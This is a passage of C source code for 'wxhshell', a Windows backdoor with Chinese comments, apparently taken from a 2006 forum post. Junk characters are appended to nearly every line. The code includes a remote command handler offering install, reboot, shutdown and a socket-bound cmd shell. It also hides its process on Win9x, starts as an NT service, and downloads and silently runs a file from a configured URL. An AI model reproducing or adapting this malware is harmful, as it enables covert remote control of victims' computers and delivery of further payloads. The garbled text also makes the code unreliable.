  case '?': { v-;j44sB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p#VA-RSUQ|  
    break; vI<n~FHt  
  } >a@c5  
  // 安装 S}q6CG7 u  
  case 'i': { ^Z:oCTOP  
    if(Install()) 6!|-,t><  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]Nc@wX`p  
    else : Gp,d*M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f$G{7%9*  
    break; 5 ",@!1ju  
    } 8Bvc# +B  
  // 卸载 WUQlAsme  
  case 'r': { YQyf:xJ  
    if(Uninstall()) ggr\nY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVGvjc  
    else n+db#qAj5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lKo07s6u  
    break; b~khb!]  
    } IXp(Aeb  
  // 显示 wxhshell 所在路径 Bn83W4M  
  case 'p': { sLGut7@Sg  
    char svExeFile[MAX_PATH]; ;VY0DAp{  
    strcpy(svExeFile,"\n\r"); n%o"n?e  
      strcat(svExeFile,ExeFile); eIEr\X4\~~  
        send(wsh,svExeFile,strlen(svExeFile),0); 1epj/bB&  
    break; 9?xMsu-H  
    } ;aJBx  
  // 重启 S&y(A0M  
  case 'b': { (nWi9(}J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sb"etc`w%-  
    if(Boot(REBOOT)) y^vB_[6l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -nbo[K  
    else { >wiW(Ki}  
    closesocket(wsh); I:4m]q b  
    ExitThread(0);  ~yQby&s  
    } P8l x\DA  
    break; `uz15])1<  
    } |!VSed#FSn  
  // 关机 ou;E@`h;x  
  case 'd': { n>d@}hyv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mM| 313  
    if(Boot(SHUTDOWN)) 3snr-)   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D$W&6'  
    else { 26yjQ  
    closesocket(wsh); x>5"7MR`  
    ExitThread(0); !,f{I5/  
    } P&Vqr  
    break; b5kw*h+/'h  
    } C?v_ig  
  // 获取shell xE$(I<:  
  case 's': { cO9aT  
    CmdShell(wsh); O?<R.W<QI  
    closesocket(wsh); oxN~(H)/ #  
    ExitThread(0); ['p%$4i$  
    break; %SW"{GnO ^  
  } V87?J w%2  
  // 退出 p<5ED\;N;  
  case 'x': { XG]ltSOy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q;]g9T[)  
    CloseIt(wsh); S2/6VoGE  
    break; 8]!%mrS  
    } r|U'2+vn  
  // 离开 @D<q=:k  
  case 'q': { mJBvhK9%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S+03aJNN#  
    closesocket(wsh); ''+6qH-.|]  
    WSACleanup(); iNn]~L1  
    exit(1); |a7W@LVYD  
    break; 1Ner1EKGp  
        } a1lF8;[  
  } Z83A1`!.|  
  } Ba=P  
`m N*"1p-  
  // 提示信息 }pP<+U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); so~vnSQ!x  
} +8tdAw  
  } 86[/NTD<-  
,2H@xji [  
  return; :JBvCyj4PE  
} [ugBVnma  
fmuAX w>  
// shell模块句柄 QLx]%E\  
int CmdShell(SOCKET sock) s bf\;_!  
{ *h=|KOS  
STARTUPINFO si; Ep/kb-~-  
ZeroMemory(&si,sizeof(si)); [nQ<pTg~r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N1dp%b9W(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9cJzL"yi  
PROCESS_INFORMATION ProcessInfo; ]s3U+t?  
char cmdline[]="cmd"; i #5rk(^t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9EryHV|  
  return 0; y/!h.[  
} $tGk,.#j  
C]22 [v4  
// 自身启动模式 Tv d=EO  
int StartFromService(void) oz!;sj{,D  
{ R)s@2S  
typedef struct {1H3VSYq  
{ Jg I+k Nx  
  DWORD ExitStatus; 5ZG-3qj  
  DWORD PebBaseAddress; JGS4r+   
  DWORD AffinityMask; mlolSD;7  
  DWORD BasePriority; lM1Y }  
  ULONG UniqueProcessId; ^4Ta0kDn  
  ULONG InheritedFromUniqueProcessId; Dps0$f c  
}   PROCESS_BASIC_INFORMATION; J1,\Q<  
01md@4NQ  
PROCNTQSIP NtQueryInformationProcess; ?n$;l-m[  
Vz$X0C=W;H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ifA{E}fRZP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zj )Bd* a  
KMsm2~P  
  HANDLE             hProcess; ?eUhHKS5  
  PROCESS_BASIC_INFORMATION pbi; aE0yO#=   
Iu`B7UOF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a?]Ow J  
  if(NULL == hInst ) return 0; _e/>CiN/  
-J?i6BHb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n@9*>D U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Etk`>,]Y>y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $_N<! h*\  
?:bW@x  
  if (!NtQueryInformationProcess) return 0; ulM6R/ V:?  
q4)8]Y2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `'BvUTDyZ  
  if(!hProcess) return 0; R:7j`gHJ|9  
%T3L-{s5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KF' $D:\  
") Xy%C`J  
  CloseHandle(hProcess); '5V2{k$4U  
qq0bIfF\4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tlo"tl_]  
if(hProcess==NULL) return 0; B2UQO4[w  
!b<c*J?f  
HMODULE hMod; !o.l:Mr  
char procName[255]; *M*:3 v 0  
unsigned long cbNeeded; vO#4$ ,  
(/J$2V5-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 86J7%;^Xa  
E}S)uI,gn  
  CloseHandle(hProcess); rYI9?q  
RC5b'+E&#  
if(strstr(procName,"services")) return 1; // 以服务启动 t\2Lo7[Pu  
1n7tmRl  
  return 0; // 注册表启动 q5il9*)d (  
} V!=1 !"}OG  
AhOvI {  
// 主模块 rSU%!E+|<  
int StartWxhshell(LPSTR lpCmdLine) ; qT~81  
{ KD]8n]c  
  SOCKET wsl; vJg|}]h>L  
BOOL val=TRUE; +'qzk>B  
  int port=0; :( A5 ,$  
  struct sockaddr_in door; S?.2V@Ic  
!Kv.v7'N/k  
  if(wscfg.ws_autoins) Install(); yQ)y#5/<6  
wTBp=)1)f  
port=atoi(lpCmdLine); ax7]>Z=%d"  
N~H9|CX  
if(port<=0) port=wscfg.ws_port; a}l^+  
x|/zn<\^  
  WSADATA data; 7o?6Pv%HJC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fDo )~t*~  
Bor_Kib  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;hsgi|Cy-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MrIo.  
  door.sin_family = AF_INET; |1`|E- S=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o ~"?K2@T  
  door.sin_port = htons(port); 8E`rs)A  
.%>UA|[~:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kb>:M.  
closesocket(wsl); Yv!%Is  
return 1; +.UdEIR";M  
} M|e Qds  
*RKYdwnb  
  if(listen(wsl,2) == INVALID_SOCKET) { A-:58Qau+  
closesocket(wsl); ZgCG'SU  
return 1; $Oa} U3  
}  k?|l;6  
  Wxhshell(wsl); ;c"T#CH.  
  WSACleanup(); eaQ)r?M  
Y2i:ZP  
return 0; o@[yF<  
;j]0GD,c$  
} F$Q( 2:w  
F)4Y;;#  
// 以NT服务方式启动 &mj98  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {<7!=@j  
{ b!VaEK  
DWORD   status = 0; 9j458Yd4*  
  DWORD   specificError = 0xfffffff; tiJY$YqA  
>jU.R;H5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `mV&[`NZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i,>yIPBU!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (C/2shr 8  
  serviceStatus.dwWin32ExitCode     = 0; ON~jt[  
  serviceStatus.dwServiceSpecificExitCode = 0; 9J% ~?k  
  serviceStatus.dwCheckPoint       = 0; @ ]u nqCO  
  serviceStatus.dwWaitHint       = 0; c%Y%c2([  
!gv/jdF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #)`N  
  if (hServiceStatusHandle==0) return; D2x-Wa  
Y85M$]e,  
status = GetLastError(); <^+~? KDZM  
  if (status!=NO_ERROR) H)S&sx#q]  
{ j!9p#JK#u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Y `Ujr\6  
    serviceStatus.dwCheckPoint       = 0; n2\;`9zm  
    serviceStatus.dwWaitHint       = 0; _SM5x,Zd  
    serviceStatus.dwWin32ExitCode     = status; [4'C4Zl  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6?n AO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .XR`iX Y  
    return; &VtTUy}  
  } Uu xbN-u  
zk8 s?$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1euL+zeh  
  serviceStatus.dwCheckPoint       = 0; RYzDF+/  
  serviceStatus.dwWaitHint       = 0; D4%5T>^LW[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h?[3{Z^  
} JgXP2|Y!  
[r%WVf.#d  
// 处理NT服务事件,比如:启动、停止 qCg`"/0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 24Lo .  
{ ] fz0E:x  
switch(fdwControl) iK{ a9pt  
{ 86!"b  
case SERVICE_CONTROL_STOP: 7(B|NYq  
  serviceStatus.dwWin32ExitCode = 0; Z+h^ ie"g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /7#KkMg  
  serviceStatus.dwCheckPoint   = 0; -.= q6N4  
  serviceStatus.dwWaitHint     = 0; "2HSb5b"`  
  { r jfcZ@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =pQA!u]QE  
  } @D_=M tF<  
  return; C YA#:  
case SERVICE_CONTROL_PAUSE: 4G;FpWQm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kylR)  
  break; 7:x%^J+  
case SERVICE_CONTROL_CONTINUE: B,?Fjot#m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uKF?UXc  
  break; )2T1g~8  
case SERVICE_CONTROL_INTERROGATE: Eyu]0+  
  break; "TB4w2?=  
}; +-~hl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nx>WOb98  
} |r*btyOJk  
Q7oJ4rIP  
// 标准应用程序主函数 <I .p{Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rJi;"xF8  
{ WJvD,VMz  
d5$2*h{^v  
// 获取操作系统版本 VXEA.Mko  
OsIsNt=GetOsVer(); JEq0{_7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cn1CM'Ru  
_[}r2,e  
  // 从命令行安装 t]1j4S"pm  
  if(strpbrk(lpCmdLine,"iI")) Install(); EacqQFErl  
, |SO'dG  
  // 下载执行文件 OM5"&ZIZb  
if(wscfg.ws_downexe) { C 9IKX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6FPGQ0q  
  WinExec(wscfg.ws_filenam,SW_HIDE); !{5jP|vo  
} ;!U`GN,tH  
z^=.05jB  
if(!OsIsNt) { OH~X~n-Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ud xLHs  
HideProc(); J{8_4s!Xt>  
StartWxhshell(lpCmdLine); 0&$+ CWSM  
} 4?YhqJ  
else |eT?XT<=o  
  if(StartFromService()) b Z c&uq_  
  // 以服务方式启动 ZAe>MNtW  
  StartServiceCtrlDispatcher(DispatchTable); r:.5O F}  
else ='f<_FD  
  // 普通方式启动 ]Hk8XT@Q+  
  StartWxhshell(lpCmdLine); <4s$$Uw}6%  
O8+e: K[D  
return 0; h*2Q0GRX  
}
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只看该作者 1 发表于: 2006-10-10
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